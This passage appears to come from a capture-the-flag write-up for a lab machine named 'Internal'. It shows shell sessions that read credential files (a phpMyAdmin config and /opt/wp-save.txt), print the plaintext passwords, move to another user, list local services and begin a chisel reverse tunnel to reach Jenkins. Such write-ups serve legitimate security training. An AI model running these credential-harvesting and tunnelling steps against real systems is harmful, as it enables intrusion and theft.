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Internal

Server Enumeration​

  • We can catch the Reverse Shell from WordPress Using netcat
www-data@internal /$  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • This Configuration File contains PHPMyAdmin Credentials: /etc/phpmyadmin/config-db.php
  • phpmyadmin : B2Ud4fEOZmVq
  • [NOTE] PHPMyAdmin is a Rabbit Hole.
$dbuser='phpmyadmin';
$dbpass='B2Ud4fEOZmVq';

  • File: /opt/wp-save.txt
  • Contains Credentials of the User: aubreanna:bubb13guM!@#123
www-data@internal /$  cat /opt/wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  
Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

Tunneling​

  • Switching to User: aubreanna
  • With further Enumeration we find that Jenkins is running Locally [LOCAL:8080]
  • We can use either SSH Tunneling or chisel as a TCP/UDP Tunnel.
aubreanna@internal:~$ id
uid=1000(aubreanna) gid=1000(aubreanna) groups=1000(aubreanna),4(adm),24(cdrom),30(dip),46(plugdev)
aubreanna@internal:~$ ls -l
total 12
-rwx------ 1 aubreanna aubreanna   55 Aug  3  2020 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug  3  2020 snap
aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080
aubreanna@internal:~$ netstat -netulp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      111        23071      -                   
tcp        0      0 127.0.0.1:35053         0.0.0.0:*               LISTEN      0          23056      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      0          24180      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        18568      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          22230      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      0          22553      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      0          22246      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        18567      -                   
udp        0      0 10.10.90.155:68         0.0.0.0:*                           100        18382      -

Chisel​

  • Transfer the chisel Binary on the Target Machine.
chisel server --reverse --port 8000